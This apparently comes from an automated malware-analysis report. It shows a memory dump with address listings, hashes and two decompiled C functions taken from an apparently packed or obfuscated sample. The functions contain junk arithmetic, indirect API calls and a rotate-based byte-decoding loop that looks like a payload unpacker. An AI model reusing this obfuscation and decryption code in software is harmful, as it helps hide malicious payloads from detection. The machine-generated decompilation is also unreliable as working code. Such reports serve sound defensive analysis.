0x024c25b2
0x024c25b8
0x024c25b8
0x024c25bc
0x024c25bf
0x024c25c2
0x024c25ca
0x024c25cd
0x024c25d0
0x024c25da
0x024c25da
0x024c25e5
0x024c25e9
0x024c25f1
0x024c25f1
0x024c25f4
0x024c25fa
0x024c2602
0x024c2609
0x024c2612
0x024c2612
0x024c2613
0x024c261d
0x024c2620
0x024c2624
0x024c2627
0x024c2633
0x024c263a
0x024c2640
0x024c2641
0x024c2641
0x024c2642
0x024c264c
0x024c264f
0x024c2652
0x024c265c
0x024c2666
0x024c2666
0x024c2669
0x024c2670
0x024c2674
0x024c2678
0x024c267b
0x024c2681
0x024c2689
0x024c2690
0x024c2696
0x024c2699
0x024c2699
0x024c269d
0x024c26a0
0x024c26ac
0x024c26b0
0x024c26b3
0x024c26b4
0x024c26ba
0x024c26f3
0x024c26f7
0x024c26f8
0x024c26fb
0x024c26bc
0x024c26bc
0x024c26c3
0x024c26c6
0x024c26d9
0x024c26da
0x024c26e2
0x024c26e6
0x024c26e9
0x024c26ec
0x024c26ec
0x024c2702
0x024c2705
0x024c2708
0x024c270b
0x024c2711
0x024c2715
0x024c2716
0x024c2724
0x024c2728
0x024c272b
0x024c272e
0x024c2734
0x024c2737
0x024c2744
0x024c2746
0x024c2747
0x024c274f
0x024c2752
0x024c2754
0x024c2757
0x024c2759
0x024c2760
0x024c2761
0x024c2763
0x024c2766
0x024c2778
0x024c277a
0x024c277b
0x024c278e
0x024c2799
0x024c225c
0x024c2263
0x024c226c
0x024c2276
0x024c2276
0x024c2281
0x024c2286
0x024c228d
0x024c2290
0x024c229c
0x024c22a3
0x024c22a9
0x024c22a9
0x024c22aa
0x024c22b2
0x024c22bc
0x024c22c0
0x024c22c9
0x024c22cd
0x024c22d6
0x024c22d6
0x024c22e1
0x024c22e6
0x024c22ed
0x024c22f0
0x024c22f3
0x024c22f3
0x024c22f9
0x024c2301
0x024c2303
0x024c2307
0x024c230a
0x024c2314
0x024c2317
0x024c2318
0x024c231f
0x024c2323
0x024c232c
0x024c2331
0x024c2337
0x024c233f
0x024c2346
0x024c234c
0x024c2357
0x024c2359
0x024c235f
0x024c2367
0x024c236e
0x00000000
0x024c2374
0x024c2377
0x024c2377

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190ef29eab26b44226983159a1f394aa4629ad48f98315d79de7dc04f91af78e
Instruction ID: afd2e2980d336ae2ce97e5c9ecc79e530eae4bfe7493ad579ea6a1201535e246
Opcode Fuzzy Hash: 190ef29eab26b44226983159a1f394aa4629ad48f98315d79de7dc04f91af78e
Instruction Fuzzy Hash: 56228B32804615DFEF14CF64C9897AABBF5FF88715F19846EDC889B246CBB41450CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 024C4859, Relevance: .5, Instructions: 466
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E024C4859(signed int __ebx, signed int __ecx, void* __edx, signed int __edi, signed int __esi, signed int _a4, signed int _a8) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* __ebp;
				signed int _t217;
				signed int _t219;
				void* _t220;
				signed int _t221;
				signed int _t225;
				signed int _t230;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t245;
				signed int _t248;
				signed int _t253;
				signed int _t261;
				void* _t264;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				signed int _t272;
				signed int _t274;
				int _t276;
				void* _t278;
				int _t279;
				void* _t310;
				signed int _t312;
				void* _t316;
				signed int _t323;
				signed int _t328;
				signed int _t330;
				void* _t333;
				signed int _t334;
				void* _t339;
				void* _t344;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				void* _t365;
				void* _t366;
				void* _t368;
				void* _t369;
				void* _t374;
				signed int _t376;
				signed int* _t384;

				_t359 = __esi;
				_t328 = __edi;
				_t310 = __edx;
				_t258 = __ecx;
				_t242 = __ebx;
				if( *(__ebx + 0x41819b) == 0) {
					_t241 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_push(__ecx);
					 *(__ebx + 0x41819b) =  *(__ebx + 0x41819b) & 0x00000000;
					 *(__ebx + 0x41819b) =  *(__ebx + 0x41819b) ^ (__ecx -  *_t384 | _t241);
					_pop(_t258);
				}
				 *_t384 =  *_t384 & 0x00000000;
				 *_t384 =  *_t384 + _t359;
				_v20 = _v20 & 0x00000000;
				 *_t384 =  *_t384 + _t242 + 0x418657;
				_t217 =  *((intOrPtr*)(_t242 + 0x45d018))(_v20, _t258);
				 *(_t242 + 0x418247) =  *(_t242 + 0x418247) & 0x00000000;
				 *(_t242 + 0x418247) =  *(_t242 + 0x418247) | _t258 & 0x00000000 ^ _t217;
				_t261 = _t258;
				_push(_v12);
				 *_t384 = _t328;
				if( *(_t242 + 0x4183d8) == 0) {
					_t240 =  *((intOrPtr*)(_t242 + 0x45d01c))();
					 *(_t242 + 0x4183d8) =  *(_t242 + 0x4183d8) & 0x00000000;
					 *(_t242 + 0x4183d8) =  *(_t242 + 0x4183d8) | _t328 & 0x00000000 ^ _t240;
					_t328 = _t328;
				}
				_t361 = _t359 & 0x00000000 | _t242 & 0x00000000 ^ _a4;
				_t245 = _t242;
				if( *(_t245 + 0x4184bb) == 0) {
					_t310 =  *_t384;
					 *_t384 =  *(_t245 + 0x4180d3);
					_v40 =  *((intOrPtr*)(_t245 + 0x418328));
					_t374 = _t374;
					_v44 = _t310;
					_t239 =  *((intOrPtr*)(_t245 + 0x45d040))(_v20, _t310, _t310);
					_v48 = _t261;
					 *(_t245 + 0x4184bb) = 0 ^ _t239;
					_t261 = 0;
				}
				_t330 = _t328 & 0x00000000 | _t245 & 0x00000000 ^ _a8;
				_t248 = _t245;
				_v20 = 0;
				 *_t384 =  *_t384 ^ _t248 + 0x0041830b;
				_t219 =  *((intOrPtr*)(_t248 + 0x45d018))(_v20);
				 *(_t248 + 0x418167) =  *(_t248 + 0x418167) & 0x00000000;
				 *(_t248 + 0x418167) =  *(_t248 + 0x418167) ^ _t261 ^ _v40 ^ _t219;
				_t264 = _t261;
				_push(_t219);
				_v40 =  *((intOrPtr*)(_t361 + 8));
				_t376 = _t374;
				if( *(_t248 + 0x4184bf) == 0) {
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))();
					 *(_t248 + 0x4184bf) =  *(_t248 + 0x4184bf) & 0x00000000;
					 *(_t248 + 0x4184bf) =  *(_t248 + 0x4184bf) ^ (_t330 ^ _v44 | _t219);
					_t330 = _t330;
				}
				_push(_v20);
				_v44 = _t330;
				if( *((intOrPtr*)(_t248 + 0x4180c7)) == 0) {
					_v48 =  *((intOrPtr*)(_t248 + 0x418207));
					_v20 = _v20 & 0x00000000;
					_v52 = _v52 + _t330;
					_v16 = _v16 & 0x00000000;
					_v56 = _v56 | _t219;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d03c))(_v16, _v20, _t264);
					 *_t60 = _t219;
					_push(_v20);
					_pop( *_t62);
				}
				 *_t64 =  *((intOrPtr*)(_t248 + 0x41823f));
				_push(_v12);
				_pop(_t265);
				if( *(_t248 + 0x418287) == 0) {
					_v16 = 0;
					_v48 = _v48 ^ _t265;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))(_v16);
					 *(_t248 + 0x418287) =  *(_t248 + 0x418287) & 0x00000000;
					 *(_t248 + 0x418287) =  *(_t248 + 0x418287) | _t265 & 0x00000000 | _t219;
					_t265 = _t265;
				}
				_t266 = _t265 + 0xfffffff0;
				_t333 = _t330;
				if( *(_t248 + 0x4182ef) == 0) {
					_v48 = _t266;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))(_v16);
					_v52 = _t376;
					 *(_t248 + 0x4182ef) = _t219;
					_t376 = 0;
					_pop(_t266);
				}
				_v20 = 0;
				_push(_v20);
				_v48 = _v48 | _t266;
				if( *(_t248 + 0x4184e7) == 0) {
					_v16 = 0;
					_v52 = _v52 | _t266;
					_v56 =  *((intOrPtr*)(_t248 + 0x418283));
					_v12 = 0;
					_v60 = _v60 ^ _t248;
					_v64 =  *((intOrPtr*)(_t248 + 0x41828f));
					_t238 =  *((intOrPtr*)(_t248 + 0x45d03c))(_t310, _v12, _t219, _v16);
					_v16 = _t266;
					 *(_t248 + 0x4184e7) =  *(_t248 + 0x4184e7) & 0x00000000;
					 *(_t248 + 0x4184e7) =  *(_t248 + 0x4184e7) ^ _t266 & 0x00000000 ^ _t238;
					_t266 = _t333;
				}
				do {
					asm("movsb");
					_t266 = _t266 - 1;
				} while (_t266 != 0);
				_pop(_t267);
				_pop(_t334);
				 *_t96 = _t334;
				_push(_v16);
				_pop(_t363);
				_v16 = 0;
				_push(_v16);
				_v44 = _v44 ^ _t248;
				do {
					_t220 =  *_t363 & 0x000000ff;
					_t363 = _t363 + 1;
					if(_t220 == 0) {
						goto L23;
					}
					_push(_t220);
					_v48 = _v48 - _t220;
					_v48 = _v48 ^ _t267;
					_push(_t248);
					_v52 = 1;
					_v12 = 0;
					_t310 = _t310 & 0x00000000 | 0 ^ _t363;
					_v8 = 8;
					do {
						asm("rol eax, cl");
						_t248 = _t220;
						_t220 = _t310;
						asm("ror ebx, cl");
						_t103 =  &_v8;
						 *_t103 = _v8 - 1;
					} while ( *_t103 != 0);
					_pop(_t267);
					_t220 = _t220 & 0x00000000 ^ _t334 ^ _v48 ^ _t248;
					_t334 = _t334;
					L23:
					asm("stosb");
					_t267 = _t267 - 1;
				} while (_t267 != 0);
				_pop(_t253);
				if( *(_t253 + 0x41854e) == 0) {
					_t220 =  *((intOrPtr*)(_t253 + 0x45d024))();
					 *(_t253 + 0x41854e) =  *(_t253 + 0x41854e) & 0x00000000;
					 *(_t253 + 0x41854e) =  *(_t253 + 0x41854e) ^ (_t267 ^ _v44 | _t220);
					_t267 = _t267;
				}
				if(_a4 != 0) {
					if( *((intOrPtr*)(_t253 + 0x4182e7)) == 0) {
						_v44 = _v44 + 8;
						_v44 = _v44 - _t363;
						_v48 =  *((intOrPtr*)(_t253 + 0x41835d));
						_t267 = _t267;
						_t334 = _v52;
						_v52 =  *((intOrPtr*)(_t253 + 0x41807b));
						_t220 =  *((intOrPtr*)(_t253 + 0x45d040))(_t334, _t220, _t363);
						 *_t118 = _t220;
						_push(_v16);
						_pop( *_t120);
					}
					if(_a8 != 0) {
						if( *(_t253 + 0x4185b7) == 0) {
							_t363 = _v44;
							_v44 =  *((intOrPtr*)(_t253 + 0x41804b));
							_v48 =  *((intOrPtr*)(_t253 + 0x418067));
							_t310 = _t310;
							_v52 =  *((intOrPtr*)(_t253 + 0x4181c3));
							_t376 = _t376;
							_t220 =  *((intOrPtr*)(_t253 + 0x45d040))(_t220, _t334, _t363);
							_v12 = _t267;
							 *(_t253 + 0x4185b7) =  *(_t253 + 0x4185b7) & 0x00000000;
							 *(_t253 + 0x4185b7) =  *(_t253 + 0x4185b7) ^ _t267 & 0x00000000 ^ _t220;
							_t267 = _v12;
						}
						_v44 = _a4;
						_t323 = _t310;
						_t138 = _t253 + 0x4183a9; // 0x4183a9
						_v48 = _t138;
						_push( *((intOrPtr*)(_t253 + 0x45d018))(_v16, _t220));
						_pop( *_t141);
						_push(_v20);
						_pop( *_t143);
						_push(_t253);
						_v52 = _a8;
						_t253 = _t253;
						if( *(_t253 + 0x4185ab) == 0) {
							_v56 =  *((intOrPtr*)(_t253 + 0x4183b4));
							_t363 = _t363;
							_v60 =  *((intOrPtr*)(_t253 + 0x418613));
							_t267 = _t267;
							_v64 = _v64 & 0x00000000;
							_v64 = _v64 ^ _t323;
							_t234 =  *((intOrPtr*)(_t253 + 0x45d03c))(_t334, _t334, _t334);
							 *_t384 = _t323;
							 *(_t253 + 0x4185ab) = 0 ^ _t234;
							_t323 = 0;
						}
						_t220 = E024C1918(_t234, _t267, _t323, _t334, _t363);
						if( *((intOrPtr*)(_t253 + 0x4184db)) == 0) {
							_v48 = _v48 - _t253;
							_v48 = _v48 ^ _t323;
							_v52 =  *((intOrPtr*)(_t253 + 0x418389));
							_v56 = _v56 - _t363;
							_v56 = _v56 ^ _t323;
							_t267 = _v60;
							_v60 =  *((intOrPtr*)(_t253 + 0x41852b));
							_t220 =  *((intOrPtr*)(_t253 + 0x45d044))(_v52, _t363, _t267, _t253);
							 *_t159 = _t220;
							_push(_v20);
							_pop( *_t161);
						}
					}
				}
				_pop(_t312);
				if( *(_t253 + 0x418318) == 0) {
					_v12 = 0;
					_v40 = _v40 | _t312;
					_v44 =  *((intOrPtr*)(_t253 + 0x418483));
					_t334 = _v48;
					_v48 =  *((intOrPtr*)(_t253 + 0x4181f3));
					_v52 = _v52 ^ _t253;
					_v52 = _t363;
					_v56 =  *((intOrPtr*)(_t253 + 0x41815b));
					_t376 = _t376;
					_v60 =  *(_t253 + 0x4183a1);
					_t267 = _t267;
					_t220 =  *((intOrPtr*)(_t253 + 0x45d048))(_t267, _t267, _t253, _t334, _t220, _v12);
					 *(_t253 + 0x418318) =  *(_t253 + 0x418318) & 0x00000000;
					 *(_t253 + 0x418318) =  *(_t253 + 0x418318) | _t312 & 0x00000000 ^ _t220;
					_t312 = _t312;
				}
				if(_t312 > 0) {
					if( *(_t253 + 0x4181af) == 0) {
						_v40 = _v40 + 0x400;
						_v40 = _v40 - _t253;
						_v44 =  *((intOrPtr*)(_t253 + 0x418478));
						_v48 =  *((intOrPtr*)(_t253 + 0x41811b));
						_v52 =  *((intOrPtr*)(_t253 + 0x418143));
						_v56 = _v56 & 0x00000000;
						_v56 = _v56 ^ _t253;
						_t230 =  *((intOrPtr*)(_t253 + 0x45d048))(_t220, _t363, _t267, _t376, _t312, _t253);
						 *(_t253 + 0x4181af) =  *(_t253 + 0x4181af) & 0x00000000;
						 *(_t253 + 0x4181af) =  *(_t253 + 0x4181af) | _t312 & 0x00000000 ^ _t230;
						_t312 = _t312;
					}
					_v16 = _t253;
					_t339 = _t334 & 0x00000000 | _t253 & 0x00000000 | _a4;
					_push(_v12);
					_v40 = _t339;
					_push(0);
					_v44 = _t312;
					_v44 = 0 ^  *(_t339 + 4);
					_t221 =  *(_t339 + 8);
					_t272 = 0;
					_v16 = _v16 & 0x00000000;
					_push(_v16);
					_v44 = _v44 | _t272;
					_v16 = _v16 & 0x00000000;
					_push(_v16);
					_v48 = _v48 ^ _t272;
					 *_t202 = _t221;
					_push(_v12);
					_pop(_t316);
					_push(_a8);
					_pop( *_t205);
					_push(_v12);
					_pop(_t365);
					_push(_v48);
					_v52 = _v52 - _t316;
					_pop(_t274);
					_t366 = _t365 + _t274;
					_v16 = _t221;
					_t276 = _t274 & 0x00000000 | _t221 ^ _v16 ^  *(_t339 + 8);
					_t225 = memcpy(_t339, _t366, _t276);
					_v12 = _t225;
					_t368 = _t366 & 0x00000000 ^ (_t225 ^ _v12 | _a8);
					_pop(_t278);
					_push(_t366 + _t276 + _t276);
					_t279 = _t278 - _t316;
					_pop(_t344);
					memcpy(_t344, _t368, _t279);
					_push(0);
					_pop(_t369);
					_t220 = memcpy(_t368 + _t279 + _t279 & 0x00000000 ^ 0x0 ^ _v48 ^ _a8, _t369, 0);
				}
				return _t220;
			}

0x024c4859
0x024c4859
0x024c4859
0x024c4859
0x024c4859
0x024c4866
0x024c4868
0x024c486e
0x024c4874
0x024c487b
0x024c4881
0x024c4881
0x024c4883
0x024c4887
0x024c4890
0x024c4897
0x024c489a
0x024c48a6
0x024c48ad
0x024c48b3
0x024c48b4
0x024c48b7
0x024c48c1
0x024c48c3
0x024c48cf
0x024c48d6
0x024c48dc
0x024c48dc
0x024c48e7
0x024c48e9
0x024c48f1
0x024c48fa
0x024c48fa
0x024c4905
0x024c4909
0x024c490d
0x024c4910
0x024c4918
0x024c491f
0x024c4925
0x024c4925
0x024c4930
0x024c4932
0x024c4939
0x024c4943
0x024c4946
0x024c4952
0x024c4959
0x024c495f
0x024c4960
0x024c4965
0x024c4969
0x024c4971
0x024c4973
0x024c497f
0x024c4986
0x024c498c
0x024c498c
0x024c498d
0x024c4990
0x024c499a
0x024c49a3
0x024c49a6
0x024c49ad
0x024c49b0
0x024c49b7
0x024c49ba
0x024c49c1
0x024c49c4
0x024c49c7
0x024c49c7
0x024c49d3
0x024c49d6
0x024c49d9
0x024c49e1
0x024c49e3
0x024c49ed
0x024c49f0
0x024c49fc
0x024c4a03
0x024c4a0a
0x024c4a0a
0x024c4a14
0x024c4a16
0x024c4a1e
0x024c4a23
0x024c4a26
0x024c4a2e
0x024c4a35
0x024c4a3b
0x024c4a3c
0x024c4a3c
0x024c4a3d
0x024c4a44
0x024c4a47
0x024c4a51
0x024c4a53
0x024c4a5d
0x024c4a67
0x024c4a6a
0x024c4a74
0x024c4a7f
0x024c4a84
0x024c4a8a
0x024c4a92
0x024c4a99
0x024c4aa2
0x024c4aa2
0x024c4aa5
0x024c4aa5
0x024c4aa6
0x024c4aa6
0x024c4aa9
0x024c4aaa
0x024c4aac
0x024c4aaf
0x024c4ab2
0x024c4ab3
0x024c4aba
0x024c4abd
0x024c4ac0
0x024c4ac0
0x024c4ac3
0x024c4ac6
0x00000000
0x00000000
0x024c4ac8
0x024c4ac9
0x024c4acc
0x024c4acf
0x024c4ad0
0x024c4add
0x024c4ae8
0x024c4aed
0x024c4af4
0x024c4af4
0x024c4af6
0x024c4af8
0x024c4afa
0x024c4afc
0x024c4afc
0x024c4afc
0x024c4b01
0x024c4b0b
0x024c4b0d
0x024c4b0e
0x024c4b0e
0x024c4b0f
0x024c4b0f
0x024c4b12
0x024c4b1a
0x024c4b1c
0x024c4b28
0x024c4b2f
0x024c4b35
0x024c4b35
0x024c4b3a
0x024c4b47
0x024c4b4a
0x024c4b4e
0x024c4b59
0x024c4b5d
0x024c4b65
0x024c4b65
0x024c4b68
0x024c4b6f
0x024c4b72
0x024c4b75
0x024c4b75
0x024c4b7f
0x024c4b8c
0x024c4b95
0x024c4b95
0x024c4ba0
0x024c4ba4
0x024c4bad
0x024c4bb1
0x024c4bb2
0x024c4bb8
0x024c4bc0
0x024c4bc7
0x024c4bcd
0x024c4bcd
0x024c4bd5
0x024c4bd9
0x024c4bda
0x024c4be3
0x024c4bec
0x024c4bed
0x024c4bf0
0x024c4bf3
0x024c4bf9
0x024c4bfe
0x024c4c02
0x024c4c0a
0x024c4c14
0x024c4c18
0x024c4c21
0x024c4c25
0x024c4c27
0x024c4c2b
0x024c4c2e
0x024c4c36
0x024c4c3d
0x024c4c43
0x024c4c43
0x024c4c44
0x024c4c50
0x024c4c53
0x024c4c56
0x024c4c60
0x024c4c64
0x024c4c67
0x024c4c71
0x024c4c71
0x024c4c74
0x024c4c7b
0x024c4c7e
0x024c4c81
0x024c4c81
0x024c4c50
0x024c4b7f
0x024c4c87
0x024c4c8f
0x024c4c91
0x024c4c9b
0x024c4ca5
0x024c4caf
0x024c4caf
0x024c4cb3
0x024c4cb6
0x024c4cc1
0x024c4cc5
0x024c4cce
0x024c4cd2
0x024c4cd3
0x024c4cdf
0x024c4ce6
0x024c4ced
0x024c4ced
0x024c4cf1
0x024c4cfe
0x024c4d01
0x024c4d08
0x024c4d13
0x024c4d1f
0x024c4d29
0x024c4d2d
0x024c4d31
0x024c4d34
0x024c4d40
0x024c4d47
0x024c4d4d
0x024c4d4d
0x024c4d4e
0x024c4d5a
0x024c4d5f
0x024c4d62
0x024c4d65
0x024c4d67
0x024c4d74
0x024c4d7c
0x024c4d7e
0x024c4d7f
0x024c4d83
0x024c4d86
0x024c4d89
0x024c4d8d
0x024c4d90
0x024c4d94
0x024c4d97
0x024c4d9a
0x024c4d9b
0x024c4d9e
0x024c4da1
0x024c4da4
0x024c4da8
0x024c4da9
0x024c4dac
0x024c4dad
0x024c4daf
0x024c4dbb
0x024c4dc0
0x024c4dc2
0x024c4dce
0x024c4dd3
0x024c4dd4
0x024c4dd9
0x024c4ddb
0x024c4ddc
0x024c4dde
0x024c4dec
0x024c4ded
0x024c4ded
0x024c4df2

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89cbf176f5ded8dd9f870f15b95a5ce55e929d63621d25e61daa38bc8d58fc1
Instruction ID: 7e789b526fbcbc9ebaba9192431428329c3fc31d5be2b052d70bac7bfd34aa3c
Opcode Fuzzy Hash: f89cbf176f5ded8dd9f870f15b95a5ce55e929d63621d25e61daa38bc8d58fc1
Instruction Fuzzy Hash: 76129F72804204EFFF189F64C8857AEBBF5FF84725F19846EEC899A185DB391150CB28

Uniqueness

Uniqueness Score: -1.00%

Function 024C1918, Relevance: .5, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E024C1918(signed int __eax, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _t259;
				signed int _t261;
				signed int _t262;
				signed int _t266;
				signed int _t267;
				signed int _t270;
				void* _t272;
				signed int _t275;
				signed int _t279;
				signed int _t283;
				signed int _t285;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				void* _t294;
				signed int _t297;
				signed int _t299;
				signed int _t300;
				void* _t303;
				void* _t305;
				signed int _t306;
				signed int _t308;
				int _t310;
				void* _t313;
				signed int _t319;
				signed int _t324;
				signed int _t332;
				void* _t340;
				signed int _t342;
				signed int _t344;
				signed int _t347;
				signed int _t352;
				signed int _t361;
				signed int _t363;
				void* _t366;
				void* _t380;
				signed int _t385;
				signed int _t391;
				signed int _t393;
				signed int _t394;
				signed int _t401;
				void* _t416;
				signed int _t417;
				void* _t429;
				signed int _t431;
				void* _t432;
				signed int* _t435;

				_t306 = __ecx;
				_t259 = __eax;
				_push(_t300);
				 *_t431 =  *_t431 ^ _t300;
				 *_t431 =  *_t431 + _t416;
				_t417 = _t431;
				_t432 = _t431 + 0xffffffdc;
				_push(_v40);
				_v44 = _t300;
				_push(__edx);
				_t361 = __edi & 0x00000000 | __edx ^ _v48 | _a8;
				_pop(_t340);
				_v48 =  *((intOrPtr*)(_t361 + 0xc));
				_pop(_t385);
				 *_t5 = _t300;
				_t342 = _v48;
				_v48 =  *((intOrPtr*)(_t361 + 4));
				 *_t8 = _t340;
				if(_v24 == 1) {
					_v20 = 7;
					_v28 = 1;
					_v16 = 8;
				}
				if(_v24 != 0) {
					if(_v24 != 2) {
						if(_v24 == 4) {
							_v20 = 1;
							_v28 = 0x55;
							_v16 = 2;
						}
					} else {
						_v20 = 3;
						_v28 = 0x11;
						_v16 = 4;
					}
					_push(_t342);
					_v48 = _v48 ^ _t342;
					_v36 = _t385;
					_t261 = _t259 & 0x00000000 | _t385 & 0x00000000 ^ _v8;
					_t262 = _t261 / _v16;
					_t344 = _t261 % _v16;
					_push(_v8);
					_v48 = _v48 - _t344;
					_pop( *_t132);
					_v48 = _v36;
					_v12 = _t344;
					_t391 = 0;
					_v40 = _t344;
					_t393 = _t391 & 0x00000000 ^ (_t344 & 0x00000000 | _a4);
					_t347 = _v40;
					_push(_t347);
					_t363 = _t361 & 0x00000000 ^ (_t347 & 0x00000000 | _t393);
					_t394 = _t393 - 1;
					_v32 = 0;
					_push(_v32);
					_v48 = _v48 + _t300;
					do {
						_v40 = _t300;
						_t308 = _t306 & 0x00000000 ^ (_t300 & 0x00000000 | _t363);
						_t300 = _v40;
						_t306 = _t308 & _v20;
						if(_t306 == 0) {
							_t394 = _t394 + 1;
							_v32 = _t363;
							_t262 = _t262 & 0x00000000 ^ (_t363 & 0x00000000 | _v16);
							_t363 = _v32;
							_t300 =  *(_t262 + _t394) & 0x000000ff;
						}
						_v52 = _t394;
						_t394 = 0;
						asm("rol edx, cl");
						_t352 = (0 ^ _v28) & _t300;
						asm("lodsb");
						_t262 = _t262 | _t352;
						 *_t363 = _t262;
						_t363 = _t363 + 1;
						_t147 =  &_v8;
						 *_t147 = _v8 - 1;
					} while ( *_t147 != 0);
					_pop(_t303);
					if( *(_t303 + 0x4182ab) == 0) {
						_v48 =  *((intOrPtr*)(_t303 + 0x4181ff));
						_t319 = _t306;
						_v52 =  *((intOrPtr*)(_t303 + 0x41843c));
						_t352 = _t352;
						_v56 =  *((intOrPtr*)(_t303 + 0x418293));
						_t262 =  *((intOrPtr*)(_t303 + 0x45d040))(_t262, _t417, _t352);
						_v32 = _t319;
						 *(_t303 + 0x4182ab) =  *(_t303 + 0x4182ab) & 0x00000000;
						 *(_t303 + 0x4182ab) =  *(_t303 + 0x4182ab) ^ _t319 & 0x00000000 ^ _t262;
						_t306 = _v32;
					}
					if( *(_t303 + 0x4183d4) == 0) {
						if( *(_t303 + 0x418037) == 0) {
							_v48 =  *((intOrPtr*)(_t303 + 0x41816f));
							_v52 = _t394;
							_v56 = _v56 & 0x00000000;
							_v56 = _v56 | _t352;
							_v60 =  *((intOrPtr*)(_t303 + 0x41859f));
							_t352 = _t352;
							_v64 =  *((intOrPtr*)(_t303 + 0x41808b));
							_t394 = _t394;
							_t279 =  *((intOrPtr*)(_t303 + 0x45d048))(_t306, _t352, _t303, _v36, _t262);
							_v40 = _t306;
							 *(_t303 + 0x418037) = 0 ^ _t279;
							_t306 = _v40;
						}
						_t262 =  *((intOrPtr*)(_t303 + 0x45d01c))();
						if( *((intOrPtr*)(_t303 + 0x4181f7)) == 0) {
							_v32 = _v32 & 0x00000000;
							_v48 = _v48 | _t262;
							_v52 =  *((intOrPtr*)(_t303 + 0x418438));
							_t394 = _t394;
							_v56 = _v56 & 0x00000000;
							_v56 = _v56 ^ _t363;
							_v36 = 0;
							_v60 = _v60 + _t432;
							_push( *((intOrPtr*)(_t303 + 0x45d040))(_v36, _t352, _t262, _v32));
							_pop( *_t186);
							_push(_v36);
							_pop( *_t188);
							_pop(_t262);
						}
						_v48 = _t417;
						 *(_t303 + 0x4183d4) = 0 ^ _t262;
						_t417 = 0;
						if( *(_t303 + 0x418450) == 0) {
							_t352 = _v48;
							_v48 =  *((intOrPtr*)(_t303 + 0x418567));
							_v52 =  *((intOrPtr*)(_t303 + 0x4183bc));
							_v56 =  *((intOrPtr*)(_t303 + 0x4180bb));
							_t417 = _v60;
							_v60 =  *((intOrPtr*)(_t303 + 0x418513));
							_t262 =  *((intOrPtr*)(_t303 + 0x45d044))(_v52, _t394, _t417, _t352);
							_v36 = _v56;
							 *(_t303 + 0x418450) = 0 ^ _t262;
							_t394 = _v36;
						}
					}
					_t310 = _t306 & 0x00000000 ^ _t363 & 0x00000000 ^ _v12;
					_t366 = _t363;
					if( *(_t303 + 0x41803b) == 0) {
						_v36 = 0;
						_v48 = _v48 | _t310;
						_t401 = _v52;
						_v52 =  *((intOrPtr*)(_t303 + 0x418057));
						_t352 = _v56;
						_v56 =  *((intOrPtr*)(_t303 + 0x418028));
						_v60 =  *((intOrPtr*)(_t303 + 0x4183e8));
						_t272 = _t262;
						_v64 =  *((intOrPtr*)(_t303 + 0x4185ef));
						_t275 =  *((intOrPtr*)(_t303 + 0x45d044))(_t417, _t352, _t394, _v36);
						 *(_t303 + 0x41803b) =  *(_t303 + 0x41803b) & 0x00000000;
						 *(_t303 + 0x41803b) =  *(_t303 + 0x41803b) ^ _t401 & 0x00000000 ^ _t275;
						_t394 = _t401;
						_t310 = _t272;
					}
					if( *(_t303 + 0x41849f) == 0) {
						if( *(_t303 + 0x41861f) == 0) {
							_v48 = _t310;
							_t270 =  *((intOrPtr*)(_t303 + 0x45d01c))(_v36);
							_v36 = _t366;
							 *(_t303 + 0x41861f) = 0 ^ _t270;
							_t366 = _v36;
							_pop(_t310);
						}
						_v40 = _v40 & 0x00000000;
						_v48 = _v48 + _t310;
						_t230 = _t303 + 0x418533; // 0x418533
						_v52 = _v52 ^ _t417;
						_v52 = _v52 ^ _t230;
						_t266 =  *((intOrPtr*)(_t303 + 0x45d018))(_t417, _v40);
						_v36 = _t366;
						 *(_t303 + 0x4185cf) = 0 ^ _t266;
						_t366 = _v36;
						_push(_t352);
						_v56 =  *((intOrPtr*)(_t303 + 0x418243));
						_t313 = _t310;
						if( *((intOrPtr*)(_t303 + 0x41862b)) == 0) {
							_v60 =  *((intOrPtr*)(_t303 + 0x418414));
							_v64 =  *((intOrPtr*)(_t303 + 0x4183cc));
							_t417 = _t417;
							_push( *((intOrPtr*)(_t303 + 0x45d03c))(_t432, _t266, _t313, _t366));
							_pop( *_t243);
							_push(_v36);
							_pop( *_t245);
						}
						_push(_t352);
						_v60 =  *((intOrPtr*)(_t303 + 0x41814b));
						if( *((intOrPtr*)(_t303 + 0x41851b)) == 0) {
							 *_t250 =  *((intOrPtr*)(_t303 + 0x45d024))();
							_push(_v32);
							_pop( *_t252);
						}
						_t417 = _v64;
						_v64 =  *((intOrPtr*)(_t303 + 0x4182a7));
						_t267 =  *((intOrPtr*)(_t303 + 0x45d040))();
						_v36 = _t394;
						 *(_t303 + 0x41849f) = 0 ^ _t267;
						_t394 = _v36;
						_t310 = _t417;
					}
